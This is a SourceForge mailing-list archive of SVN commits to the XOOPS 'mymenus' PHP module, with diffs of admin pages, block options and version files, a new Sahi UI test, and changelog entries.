+ if (file_exists(XOOPS_ROOT_PATH . '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/modules/mymenus/skins/' . $theme_skin . '/skin_version.php')) {
+ $theme_skins_options[$theme_skin] = '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/modules/mymenus/skins/' . $theme_skin . '';
+ }
+ }
+
+ $form .= "<b>" . _MB_MYMENUS_SELECT_SKIN_FROM_THEME . "</b> ";
+ $element = new XoopsFormSelect('', 'options['.$i.'0]', $options[$i], 1);
+ $element->addOption('', '/themes/' . $GLOBALS['xoopsConfig']['theme_set'] . '/menu');
+ $element->addOptionArray($theme_skins_options);
+ $form .= $element->render();
+ $form .= "</select>\n <i>" . _MB_MYMENUS_SELECT_SKIN_FROM_THEME_DSC . "</i><br /><br />";
+}
+}
+
+ //Display method 4
+ ++$i;
$display_options = array(
'block' => _MB_MYMENUS_DISPLAY_METHOD_BLOCK,
'template' => _MB_MYMENUS_DISPLAY_METHOD_TEMPLATE
);
$form .= "<b>" . _MB_MYMENUS_DISPLAY_METHOD . "</b> ";
- $element = new XoopsFormSelect('', 'options[4]', $options[4], 1);
+ $element = new XoopsFormSelect('', 'options['.$i.'0]', $options[$i], 1);
$element->addOptionArray($display_options);
$form .= $element->render();
$form .= "</select>\n <i>" . _MB_MYMENUS_DISPLAY_METHOD_DSC . "</i><br /><br />";
- //Unique ID
+ //Unique ID 5
+ ++$i;
$form .= "<b>" . _MB_MYMENUS_UNIQUEID . "</b> ";
- $element = new XoopsFormText('', 'options[5]', 10, 50, $options[5]);
+ $element = new XoopsFormText('', 'options['.$i.'0]', 10, 50, $options[$i]);
$form .= $element->render();
$form .= "\n <i>" . _MB_MYMENUS_UNIQUEID_DSC . "</i><br /><br />";
Modified: XoopsModules/mymenus/trunk/mymenus/class/builder.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/builder.php 2014-02-10 10:46:32 UTC (rev 12301)
+++ XoopsModules/mymenus/trunk/mymenus/class/builder.php 2014-02-10 12:35:06 UTC (rev 12302)
@@ -114,7 +114,7 @@
$query_string = $_SERVER['QUERY_STRING'] ? '?' . $_SERVER['QUERY_STRING'] : '';
$self = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . $query_string;
- //set a default page in case we don�t get matches
+ //set a default page in case we don't get matches
$default = XOOPS_URL . "/index.php";
//get all matching links
Modified: XoopsModules/mymenus/trunk/mymenus/class/links.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/class/links.php 2014-02-10 10:46:32 UTC (rev 12301)
+++ XoopsModules/mymenus/trunk/mymenus/class/links.php 2014-02-10 12:35:06 UTC (rev 12302)
@@ -106,7 +106,7 @@
. " WHERE id = {$id}"
;
$this->db->queryF($sql);
- $i++;
+ ++$i;
}
}
}
Modified: XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt 2014-02-10 10:46:32 UTC (rev 12301)
+++ XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt 2014-02-10 12:35:06 UTC (rev 12302)
@@ -1,6 +1,7 @@
<b><u>Version 1.5 Beta 1 (2014-02-08)</u></b>
- merged @luciorota code: possibility to have more then one skin provided in the theme (bleekk)
+- fixed some minor issues with block options (mamba)
<b><u>Version 1.454 Beta 1 (2014-01-29)</u></b>
Modified: XoopsModules/mymenus/trunk/mymenus/xoops_version.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/xoops_version.php 2014-02-10 10:46:32 UTC (rev 12301)
+++ XoopsModules/mymenus/trunk/mymenus/xoops_version.php 2014-02-10 12:35:06 UTC (rev 12302)
@@ -30,7 +30,7 @@
$modversion['license_url'] = "www.gnu.org/licenses/gpl-2.0.html";
$modversion['official'] = 0;
$modversion['image'] = "images/mymenus.png";
-$modversion['dirname'] = basename(dirname(__FILE__));
+$modversion['dirname'] = basename(dirname(__FILE__));
$modversion['dirmoduleadmin'] = '/Frameworks/moduleclasses/moduleadmin';
$modversion['icons16'] = '../../Frameworks/moduleclasses/icons/16';
$modversion['icons32'] = '../../Frameworks/moduleclasses/icons/32';
@@ -68,14 +68,14 @@
// Sql
$modversion['sqlfile']['mysql'] = "sql/mysql.sql";
$i = 0;
-$i++;
+++$i;
$modversion['tables'][$i] = "mymenus_links";
-$i++;
+++$i;
$modversion['tables'][$i] = "mymenus_menus";
// Config
$i = 0;
-$i++;
+++$i;
$modversion['config'][$i]['name'] = 'assign_method';
$modversion['config'][$i]['title'] = '_MI_MENUS_CONF_ASSIGN_METHOD';
$modversion['config'][$i]['description'] = '_MI_MENUS_CONF_ASSIGN_METHOD_DSC';
@@ -88,7 +88,7 @@
// Blocks
$i = 0;
-$i++;
+++$i;
$modversion['blocks'][$i]['file'] = "mymenus_block.php";
$modversion['blocks'][$i]['name'] = _MI_MYMENUS_BLK;
$modversion['blocks'][$i]['description'] = _MI_MYMENUS_BLK_DSC;
|
|
From: <be...@us...> - 2014-02-10 10:46:35
|
Revision: 12301
http://sourceforge.net/p/xoops/svn/12301
Author: beckmi
Date: 2014-02-10 10:46:32 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
Adding Sahi test
Added Paths:
-----------
XoopsModules/mymenus/trunk/mymenus/tests/
XoopsModules/mymenus/trunk/mymenus/tests/sahi/
XoopsModules/mymenus/trunk/mymenus/tests/sahi/mymenus150.sah
Added: XoopsModules/mymenus/trunk/mymenus/tests/sahi/mymenus150.sah
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/tests/sahi/mymenus150.sah (rev 0)
+++ XoopsModules/mymenus/trunk/mymenus/tests/sahi/mymenus150.sah 2014-02-10 10:46:32 UTC (rev 12301)
@@ -0,0 +1,25 @@
+_click(_span("Menus manager"));
+_click(_button("Add"));
+_setValue(_textbox("title"), "Menu1");
+_click(_submit("Submit"));
+_click(_button("Add"));
+_setValue(_textbox("title"), "Menu2");
+_click(_submit("Submit"));
+_click(_span("Links manager"));
+_click(_span("Add new item"));
+_setValue(_textbox("title"), "Item1");
+_setValue(_textbox("alt_title"), "Item1");
+_setValue(_textbox("link"), "/user.php");
+_setValue(_textbox("title"), "View Account");
+_setValue(_textbox("alt_title"), "View User Account");
+_click(_submit("Submit"));
+_click(_span("Add new item"));
+_setValue(_textbox("title"), "Inbox");
+_setValue(_textbox("alt_title"), "Email Inbox");
+_setValue(_textbox("link"), "/viewpmsg.php");
+_click(_submit("Submit"));
+_click(_span("Add new item"));
+_setValue(_textbox("title"), "Notifications");
+_setValue(_textbox("alt_title"), "Notifications");
+_setValue(_textbox("link"), "/notifications.php");
+_click(_submit("Submit"));
|
|
From: <be...@us...> - 2014-02-10 10:21:48
|
Revision: 12300
http://sourceforge.net/p/xoops/svn/12300
Author: beckmi
Date: 2014-02-10 10:21:40 +0000 (Mon, 10 Feb 2014)
Log Message:
-----------
Updating to 1.50 Beta 1 (Bleekk)
Modified Paths:
--------------
XoopsModules/mymenus/trunk/mymenus/admin/about.php
XoopsModules/mymenus/trunk/mymenus/admin/admin_about.php
XoopsModules/mymenus/trunk/mymenus/admin/admin_footer.php
XoopsModules/mymenus/trunk/mymenus/admin/admin_header.php
XoopsModules/mymenus/trunk/mymenus/admin/admin_menus.php
XoopsModules/mymenus/trunk/mymenus/admin/index.php
XoopsModules/mymenus/trunk/mymenus/admin/menu.php
XoopsModules/mymenus/trunk/mymenus/blocks/mymenus_block.php
XoopsModules/mymenus/trunk/mymenus/class/about.php
XoopsModules/mymenus/trunk/mymenus/class/builder.php
XoopsModules/mymenus/trunk/mymenus/class/menus.php
XoopsModules/mymenus/trunk/mymenus/class/plugin.php
XoopsModules/mymenus/trunk/mymenus/class/registry.php
XoopsModules/mymenus/trunk/mymenus/docs/changelog.txt
XoopsModules/mymenus/trunk/mymenus/docs/skins.txt
XoopsModules/mymenus/trunk/mymenus/include/functions.php
XoopsModules/mymenus/trunk/mymenus/language/english/about.php
XoopsModules/mymenus/trunk/mymenus/language/english/admin.php
XoopsModules/mymenus/trunk/mymenus/language/english/blocks.php
XoopsModules/mymenus/trunk/mymenus/language/english/modinfo.php
XoopsModules/mymenus/trunk/mymenus/plugins/constant/constant.php
XoopsModules/mymenus/trunk/mymenus/plugins/dynamic/dynamic.php
XoopsModules/mymenus/trunk/mymenus/plugins/mymenus/mymenus.php
XoopsModules/mymenus/trunk/mymenus/plugins/smarty/smarty.php
XoopsModules/mymenus/trunk/mymenus/skins/breadcrumb/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/breadcrumb/style.css
XoopsModules/mymenus/trunk/mymenus/skins/default/pro_dropdown_3.css
XoopsModules/mymenus/trunk/mymenus/skins/default/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/default/stuHover.js
XoopsModules/mymenus/trunk/mymenus/skins/default/templates/template.html
XoopsModules/mymenus/trunk/mymenus/skins/mainmenu/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/mainmenu/templates/template.html
XoopsModules/mymenus/trunk/mymenus/skins/multiblack/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/multiblack/stuHover.js
XoopsModules/mymenus/trunk/mymenus/skins/multiblack/templates/template.html
XoopsModules/mymenus/trunk/mymenus/skins/superfish/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/superfish/templates/template.html
XoopsModules/mymenus/trunk/mymenus/skins/superfish_navbar/css/superfish-navbar.css
XoopsModules/mymenus/trunk/mymenus/skins/superfish_navbar/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/superfish_navbar/templates/template.html
XoopsModules/mymenus/trunk/mymenus/skins/tw_blue/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/tw_blue/templates/template.html
XoopsModules/mymenus/trunk/mymenus/skins/tw_blue/tw_blue.css
XoopsModules/mymenus/trunk/mymenus/sql/mysql.sql
XoopsModules/mymenus/trunk/mymenus/templates/static/mymenus_admin_about.html
XoopsModules/mymenus/trunk/mymenus/templates/static/mymenus_admin_adminmenu.html
XoopsModules/mymenus/trunk/mymenus/templates/static/mymenus_admin_menus.html
XoopsModules/mymenus/trunk/mymenus/xoops_version.php
Added Paths:
-----------
XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php
XoopsModules/mymenus/trunk/mymenus/class/links.php
XoopsModules/mymenus/trunk/mymenus/css/admin.css
XoopsModules/mymenus/trunk/mymenus/images/actions/move_vertical-16.png
XoopsModules/mymenus/trunk/mymenus/images/edit.png
XoopsModules/mymenus/trunk/mymenus/images/loading.gif
XoopsModules/mymenus/trunk/mymenus/include/update.php
XoopsModules/mymenus/trunk/mymenus/include/xoops.php
XoopsModules/mymenus/trunk/mymenus/js/nestedSortable.js
XoopsModules/mymenus/trunk/mymenus/js/order.js
XoopsModules/mymenus/trunk/mymenus/skins/clean/
XoopsModules/mymenus/trunk/mymenus/skins/clean/index.html
XoopsModules/mymenus/trunk/mymenus/skins/clean/skin_version.php
XoopsModules/mymenus/trunk/mymenus/skins/clean/template.html
XoopsModules/mymenus/trunk/mymenus/skins/default/index.html
XoopsModules/mymenus/trunk/mymenus/skins/multiblack/index.html
XoopsModules/mymenus/trunk/mymenus/skins/tw_blue/images/index.html
XoopsModules/mymenus/trunk/mymenus/skins/tw_blue/index.html
XoopsModules/mymenus/trunk/mymenus/templates/static/mymenus_admin_links.html
Removed Paths:
-------------
XoopsModules/mymenus/trunk/mymenus/admin/admin_menu.php
XoopsModules/mymenus/trunk/mymenus/class/menu.php
XoopsModules/mymenus/trunk/mymenus/plugins/mymenus/language/arabic/
XoopsModules/mymenus/trunk/mymenus/plugins/mymenus/language/french/
XoopsModules/mymenus/trunk/mymenus/skins/tw_red/
XoopsModules/mymenus/trunk/mymenus/templates/static/mymenus_admin_menu.html
Modified: XoopsModules/mymenus/trunk/mymenus/admin/about.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/about.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/about.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -27,4 +27,4 @@
echo $aboutAdmin->addNavigation('about.php');
echo $aboutAdmin->renderAbout('6KJ7RW5DR3VTJ', false);
-include 'admin_footer.php';
\ No newline at end of file
+include 'admin_footer.php';
Modified: XoopsModules/mymenus/trunk/mymenus/admin/admin_about.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/admin_about.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/admin_about.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -23,5 +23,3 @@
$aboutObj = new MymenusAbout();
$aboutObj->render();
-
-?>
\ No newline at end of file
Modified: XoopsModules/mymenus/trunk/mymenus/admin/admin_footer.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/admin_footer.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/admin_footer.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -25,4 +25,4 @@
." " . _AM_MODULEADMIN_ADMIN_FOOTER . "\n"
."</div>";
-xoops_cp_footer();
\ No newline at end of file
+xoops_cp_footer();
Modified: XoopsModules/mymenus/trunk/mymenus/admin/admin_header.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/admin_header.php 2014-02-10 08:34:52 UTC (rev 12299)
+++ XoopsModules/mymenus/trunk/mymenus/admin/admin_header.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -20,30 +20,30 @@
require_once dirname(dirname(dirname(dirname(__FILE__)))) . '/include/cp_header.php';
+if ( !@include_once $GLOBALS['xoops']->path('/Frameworks/moduleclasses/moduleadmin/moduleadmin.php') ) {
+ redirect_header("../../../admin.php", 5, _AM_MODULEADMIN_MISSING, false);
+ exit();
+}
+
+//global $xoopsModule;
+$moduleInfo = $module_handler->get($xoopsModule->getVar('mid'));
+$pathIcon16 = '../'.$xoopsModule->getInfo('icons16');
+$pathIcon32 = '../'.$xoopsModule->getInfo('icons32');
+
+$indexAdmin = new ModuleAdmin();
+
include_once $GLOBALS['xoops']->path('class/template.php');
include_once $GLOBALS['xoops']->path('modules/mymenus/include/functions.php');
include_once $GLOBALS['xoops']->path('modules/mymenus/class/registry.php');
include_once $GLOBALS['xoops']->path('modules/mymenus/class/plugin.php');
-xoops_load('XoopsFormLoader');
-xoops_loadLanguage('modinfo', 'mymenus');
-
$mymenusTpl = new XoopsTpl();
+if (!isset($xoopsTpl) || !is_object($xoopsTpl)) {
+ include_once(XOOPS_ROOT_PATH."/class/template.php");
+ $xoopsTpl = new XoopsTpl();
+}
+$xoopsTpl->assign('pathIcon16', $pathIcon16);
-if ( file_exists($GLOBALS['xoops']->path('/Frameworks/moduleclasses/moduleadmin/moduleadmin.php'))){
- include_once $GLOBALS['xoops']->path('/Frameworks/moduleclasses/moduleadmin/moduleadmin.php');
- //return true;
- }else{
- redirect_header("../../../admin.php", 5, _AM_MODULEADMIN_MISSING, false);
- //return false;
- }
-global $xoopsModule;
-$pathIcon16 = '../'.$xoopsModule->getInfo('icons16');
-$pathIcon32 = '../'.$xoopsModule->getInfo('icons32');
-
-if (!isset($xoopsTpl) || !is_object($xoopsTpl)) {
- include_once(XOOPS_ROOT_PATH."/class/template.php");
- $xoopsTpl = new XoopsTpl();
-}
-$xoopsTpl->assign('pathIcon16', $pathIcon16);
\ No newline at end of file
+xoops_load('XoopsFormLoader');
+xoops_loadLanguage('modinfo', 'mymenus');
Added: XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php
===================================================================
--- XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php (rev 0)
+++ XoopsModules/mymenus/trunk/mymenus/admin/admin_links.php 2014-02-10 10:21:40 UTC (rev 12300)
@@ -0,0 +1,438 @@
+<?php
+/*
+ You may not change or alter any portion of this comment or credits
+ of supporting developers from this source code or any supporting source code
+ which is considered copyrighted (c) material of the original comment or credit authors.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+/**
+ * @copyright The XOOPS Project http://sourceforge.net/projects/xoops/
+ * @license http://www.gnu.org/licenses/gpl-2.0.html GNU Public License
+ * @package Mymenus
+ * @since 1.0
+ * @author trabis <lus...@gm...>, bleekk <bl...@ou...>
+ * @version $Id$
+ */
+
+include_once dirname(__FILE__) . '/admin_header.php';
+
+$menus_handler =& xoops_getModuleHandler('menus', 'mymenus');
+$criteria = new CriteriaCompo();
+$criteria->setSort('id');
+$criteria->setOrder('ASC');
+$menus_list = $menus_handler->getList($criteria);
+
+$indexAdmin = new ModuleAdmin();
+
+
+if (empty($menus_list)) {
+ redirect_header('admin_menus.php', 1, _AM_MYMENUS_MSG_NOMENUS);
+ exit;
+}
+
+if (isset($_REQUEST['menu_id']) && in_array($_REQUEST['menu_id'], array_keys($menus_list))) {
+ $menu_id = $_REQUEST['menu_id'];
+ $menu_title = $menus_list[$menu_id];
+} else {
+ $keys = array_keys($menus_list);
+ $menu_id = $keys[0];
+ $menu_title = $menus_list[$menu_id];
+}
+
+$mymenusTpl->assign('menu_id', $menu_id);
+$mymenusTpl->assign('menu_title', $menu_title);
+$mymenusTpl->assign('menus_list', $menus_list);
+
+$op = isset($_GET['op']) ? trim($_GET['op']) : (isset($_POST['op']) ? trim($_POST['op']) : 'list');
+
+$id = isset($_GET['id']) ? intval($_GET['id']) : (isset($_POST['id']) ? intval($_POST['id']) : null);
+$pid = isset($_GET['pid']) ? intval($_GET['pid']) : (isset($_POST['pid']) ? intval($_POST['pid']) : null);
+
+$limit = isset($_GET['limit']) ? intval($_GET['limit']) : (isset($_POST['limit']) ? intval($_POST['limit']) : 15);
+$start = isset($_GET['start']) ? intval($_GET['start']) : (isset($_POST['start']) ? intval($_POST['start']) : 0);
+$redir = isset($_GET['redir']) ? $_GET['redir'] : (isset($_POST['redir']) ? $_POST['redir'] : null);
+
+$weight = isset($_GET['weight']) ? intval($_GET['weight']) : (isset($_POST['weight']) ? intval($_POST['weight']) : 0);
+$visible = isset($_GET['visible']) ? intval($_GET['visible']) : (isset($_POST['visible']) ? intval($_POST['visible']) : 0);
+
+$mymenus_adminpage = 'admin_links.php';
+
+switch ($op) {
+ case 'add':
+ mymenus_admin_add();
+ break;
+ case 'form':
+ xoops_cp_header();
+ echo $indexAdmin->addNavigation('admin_links.php');
+ echo mymenus_admin_form(null, $pid);
+ include 'admin_footer.php';
+ break;
+ case 'edit':
+ echo mymenus_admin_form($id);
+ break;
+ case 'editok':
+ mymenus_admin_edit($id);
+ break;
+ case 'del':
+ mymenus_admin_confirmdel($id, $redir);
+ break;
+ case 'delok':
+ mymenus_admin_del($id, $redir);
+ break;
+ case 'delall':
+ mymenus_admin_confirmdel(null, $redir, 'delallok');
+ break;
+ case 'delallok':
+ mymenus_admin_delall($redir);
+ break;
+ case 'move':
+ xoops_cp_header();
+ echo $indexAdmin->addNavigation('admin_links.php');
+ mymenus_admin_move($id, $weight);
+ echo mymenus_admin_list($start);
+ include 'admin_footer.php';
+ break;
+ case 'toggle':
+ mymenus_admin_toggle($id, $visible);
+ break;
+ case 'order':
+ $order = $_POST['mod'];
+ parse_str($order,$test);
+
+ $i = 1;
+ $this_handler =& xoops_getModuleHandler('links', 'mymenus');
+ foreach ($test['mod'] as $order=>$value) {
+
+ $obj = $this_handler->get($order);
+ $obj->setVar('weight', $i++);
+
+ /*set submenu*/
+ if(isset($value)){
+ $obj->setVar('pid', $value);
+ }else{
+ $obj->setVar('pid', 0);
+ }
+ $this_handler->insert($obj);
+ $this_handler->update_weights($obj);
+
+ }
+ break;
+ case 'list':
+ default:
+ xoops_cp_header();
+ // Add module stylesheet
+ $xoTheme->addStylesheet(XOOPS_URL . '/modules/system/css/ui/' . xoops_getModuleOption('jquery_theme', 'system') . '/ui.all.css');
+ $xoTheme->addStylesheet(XOOPS_URL . '/modules/mymenus/css/admin.css');
+ $xoTheme->addStylesheet(XOOPS_URL . '/Frameworks/moduleclasses/moduleadmin/css/admin.css');
+ // Define scripts
+ $xoTheme->addScript('browse.php?Frameworks/jquery/plugins/jquery.ui.js');
+ $xoTheme->addScript(XOOPS_URL . '/modules/mymenus/js/nestedSortable.js');
+ //$xoTheme->addScript(XOOPS_URL . '/modules/mymenus/js/switchButton.js');
+ $xoTheme->addScript(XOOPS_URL . '/modules/mymenus/js/order.js');
+
+ echo $indexAdmin->addNavigation('admin_links.php');
+ echo mymenus_admin_list($start);
+
+ /* Disable xoops debugger in dialog window */
+ include_once XOOPS_ROOT_PATH . '/class/logger/xoopslogger.php';
+ $xoopsLogger =& XoopsLogger::getInstance();
+ $xoopsLogger->activated = true;
+ error_reporting(-1);
+
+
+ include 'admin_footer.php';
+ break;
+
+
+}
+
+function mymenus_admin_list($start = 0)
+{
+ global $mymenusTpl, $menu_id;
+
+ $this_handler =& xoops_getModuleHandler('links', 'mymenus');
+
+ $criteria = new CriteriaCompo(new Criteria('mid', $menu_id));
+
+ $count = $this_handler->getCount($criteria);
+ $mymenusTpl->assign('count', $count);
+ $criteria->setSort('weight');
+ $criteria->setOrder('ASC');
+
+ $menus = array();
+ $menusArray = array();
+ if ($count > 0) {
+ $menus = $this_handler->getObjects($criteria);
+ foreach ($menus as $menu) {
+ $array[] = $menu->getValues();
+ }
+ include_once $GLOBALS['xoops']->path('modules/mymenus/class/builder.php');
+ $builder = new MymenusBuilder($array);
+ $menusArray = $builder->render();
+ $mymenusTpl->assign('menus', $menusArray);
+ }
+
+ $mymenusTpl->assign('addform', mymenus_admin_form());
+
+ return $mymenusTpl->fetch($GLOBALS['xoops']->path('modules/mymenus/templates/static/mymenus_admin_links.html'));
+}
+
+function mymenus_admin_del($id, $redir = null)
+{
+ if (!$GLOBALS['xoopsSecurity']->check()) {
+ redirect_header($GLOBALS['mymenus_adminpage'], 1, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
+ }
+
+ if ($id <= 0) {
+ redirect_header($GLOBALS['mymenus_adminpage'], 1);
+ }
+
+ $this_handler =& xoops_getModuleHandler('links' , 'mymenus');
+ $obj = $this_handler->get($id);
+ if (!is_object($obj)) {
+ redirect_header($GLOBALS['mymenus_adminpage'], 1);
+ }
+
+ //get sub item
+ $criteria = new CriteriaCompo();
+ $criteria->add(new Criteria('id', $id));
+ $criteria->add(new Criteria('pid', $id),'OR');
+
+ //first delete links level 2
+ global $xoopsDB;
+ $query = "DELETE FROM ".$xoopsDB->prefix("mymenus_links")." WHERE pid = (
+ SELECT id FROM (
+ SELECT * FROM ".$xoopsDB->prefix("mymenus_links")." WHERE pid = ".$id.") AS sec
+ );";
+ $result = $xoopsDB->queryF($query);
+ //delete links level 0 and 1
+ if (!$this_handler->deleteAll($criteria)) {
+ xoops_cp_header();
+ xoops_error(_AM_MYMENUS_MSG_ERROR, $obj->getVar('id'));
+ xoops_cp_footer();
+ exit();
+ }
+
+ redirect_header(!is_null($redir) ? base64_decode($redir) : $GLOBALS['mymenus_adminpage'] , 2, _AM_MYMENUS_MSG_SUCCESS);
+}
+
+function mymenus_admin_delall($redir = null)
+{
+ if (!$GLOBALS['xoopsSecurity']->check()) {
+ redirect_header($GLOBALS['mymenus_adminpage'], 1, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
+ }
+
+ $this_handler =& xoops_getModuleHandler('links' , 'mymenus');
+
+ if (!$this_handler->deleteAll()) {
+ redirect_header(!is_null($redir) ? base64_decode($redir) : $GLOBALS['mymenus_adminpage'] , 2, _AM_MYMENUS_MSG_ERROR);
+ }
+
+ redirect_header(!is_null($redir) ? base64_decode($redir) : $GLOBALS['mymenus_adminpage'] , 2, _AM_MYMENUS_MSG_SUCCESS);
+}
+
+function mymenus_admin_confirmdel($id = null, $redir = null, $op = 'delok')
+{
+
+ $arr = array();
+ $arr['op'] = $op;
+ $arr['id'] = $id;
+ if (!is_null($redir)) {
+ $arr['redir'] = $redir;
+ }
+
+ xoops_cp_header();
+ xoops_confirm($arr, $GLOBALS['mymenus_adminpage'], _AM_MYMENUS_MSG_AYSL);
+ xoops_cp_footer();
+}
+
+function mymenus_admin_add()
+{
+ if (!$GLOBALS['xoopsSecurity']->check()) {
+ redirect_header($GLOBALS['mymenus_adminpage'], 3, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
+ }
+
+ $this_handler =& xoops_getModuleHandler('links','mymenus');
+ $criteria = new CriteriaCompo(new Criteria('mid', $_POST['mid']));
+ $criteria->setSort('weight');
+ $criteria->setOrder('DESC');
+ $criteria->setLimit(1);
+ $menus = $this_handler->getObjects($criteria);
+ $weight = 1;
+ if (isset($menus[0]) && is_object($menus[0])) {
+ $weight = $menus[0]->getVar('weight') + 1;
+ }
+
+ $obj = $this_handler->create();
+ if (!isset($_POST['hooks'])) {
+ $_POST['hooks'] = array();
+ }
+ $obj->setVars($_POST);
+ $obj->setVar('weight', $weight);
+
+ if (!$this_handler->insert($obj)) {
+ $msg = _AM_MYMENUS_MSG_ERROR;
+ } else {
+ $this_handler->update_weights($obj);
+ $msg = _AM_MYMENUS_MSG_SUCCESS;
+ }
+
+ redirect_header($GLOBALS['mymenus_adminpage'] . '?op=list&menu_id=' . $obj->getVar('mid'), 2, $msg);
+}
+
+function mymenus_admin_edit($id)
+{
+ if (!$GLOBALS['xoopsSecurity']->check()) {
+ redirect_header($GLOBALS['mymenus_adminpage'], 3, implode('<br />', $GLOBALS['xoopsSecurity']->getErrors()));
+ }
+
+
+ /* Disable xoops debugger in dialog window */
+ include_once XOOPS_ROOT_PATH.'/class/logger/xoopslogger.php';
+ $xoopsLogger =& XoopsLogger::getInstance();
+ $xoopsLogger->activated = false;
+ error_reporting(0);
+
+
+ $this_handler =& xoops_getModuleHandler('links','mymenus');
+ $obj = $this_handler->get($id);
+ $obj->setVars($_POST);
+
+ if (!$this_handler->insert($obj)) {
+ $msg = _AM_MYMENUS_MSG_ERROR;
+ } else {
+ $msg = _AM_MYMENUS_MSG_SUCCESS;
+ }
+
+ redirect_header($GLOBALS['mymenus_adminpage'] . '?op=list', 2, $msg);
+}
+
+function mymenus_admin_form($id = null, $pid = null)
+{
+ /* Disable xoops debugger in dialog window */
+ include_once XOOPS_ROOT_PATH.'/class/logger/xoopslogger.php';
+ $xoopsLogger =& XoopsLogger::getInstance();
+ $xoopsLogger->activated = false;
+ error_reporting(0);
+
+ global $menu_id;
+
+ $registry =& MymenusRegistry::getInstance();
+ $plugin =& MymenusPlugin::getInstance();
+
+ $this_handler =& xoops_getModuleHandler('links','mymenus');
+ $objArray = array();
+
+ if (isset($id)) {
+ $ftitle = _EDIT;
+ $obj = $this_handler->get($id);
+ $objArray = $obj->getValues();
+
+ } else {
+ $ftitle = _ADD;
+ $obj = $this_handler->create();
+ $objArray = $obj->getValues();
+ if (isset($pid)) {
+ $objArray['pid'] = $pid;
+ }
+ }
+
+ $form = new XoopsThemeForm($ftitle, 'admin_form', $GLOBALS['mymenus_adminpage'], "post", true);
+ $formtitle = new XoopsFormText(_AM_MYMENUS_MENU_TITLE, 'title', 50, 255, $objArray['title']);
+ $formalttitle = new XoopsFormText(_AM_MYMENUS_MENU_ALTTITLE, 'alt_title', 50, 255, $objArray['alt_title']);
+
+ $formlink = new XoopsFormText(_AM_MYMENUS_MENU_LINK, 'link', 50, 255, $objArray['link']);
+ $formimage = new XoopsFormText(_AM_MYMENUS_MENU_IMAGE, 'image', 50, 255, $objArray['image']);
+
+ $criteria = new CriteriaCompo(new Criteria('mid', $menu_id));
+ $criteria->add(new Criteria('id', $id, '<>'));
+ $criteria->setSort('weight');
+ $criteria->setOrder('ASC');
+
+ global $xoopsModule;
+ $pathIcon16 = '../'.$xoopsModule->getInfo('icons16');
+
+ $statontxt
+ = " <img src=". $pathIcon16 .'/1.png'.' '. "alt='" ._YES . "' /> " . _YES
+ . " ";
+ $statofftxt
+ = " <img src=". $pathIcon16 .'/0.png' .' '."alt='" . _NO . "' /> "
+ . _NO . " ";
+ $formvis = new XoopsFormRadioYN(_AM_MYMENUS_MENU_VISIBLE, 'visible', $objArray['visible'], $statontxt, $statofftxt);
+//---------------mamba
+
+ $formtarget = new XoopsFormSelect(_AM_MYMENUS_MENU_TARGET, "target", $objArray['target']);
+ $formtarget->addOption("_self", _AM_MYMENUS_MENU_TARG_SELF);
+ $formtarget->addOption("_blank", _AM_MYMENUS_MENU_TARG_BLANK);
+ $formtarget->addOption("_parent", _AM_MYMENUS_MENU_TARG_PARENT);
+ $formtarget->addOption("_top", _AM_MYMENUS_MENU_TARG_TOP);
+
+ $formgroups = new XoopsFormSelectGroup(_AM_MYMENUS_MENU_GROUPS, "groups", true, $objArray['groups'], 5, true);
+ $formgroups->setDescription(_AM_MYMENUS_MENU_GROUPS_HELP);
+
+ $formcss = new XoopsFormText(_AM_MYMENUS_MENU_CSS, 'css', 50, 255, $objArray['css']);
+
+ $form->addElement($formtitle, true);
+ $form->addElement($formalttitle);
+ $form->addElement($formlink);
+ $form->addElement($formimage);
+ $form->addElement($formparent);
+ $form->addElement($formvis);
+ $form->addElement($formtarget);
+ $form->addElement($formgroups);
+ $form->addElement($formhooks);
+ $form->addElement($formcss);
+
+ $tray = new XoopsFormElementTray('' ,'');
+ $tray->addElement(new XoopsFormButton('', 'submit_button', _SUBMIT, 'submit'));
+
+ $btn = new XoopsFormButton('', 'reset', _CANCEL, 'button');
+
+ if (isset($id)) {
+ $btn->setExtra('onclick="document.location.href=\'' . $GLOBALS['mymenus_adminpage'] . '?op=list&menu_id=' . $menu_id . ' \'"');
+ } else {
+ $btn->setExtra('onclick="document.getElementById(\'addform\').style.display = \'none\'; return false;"');
+ }
+
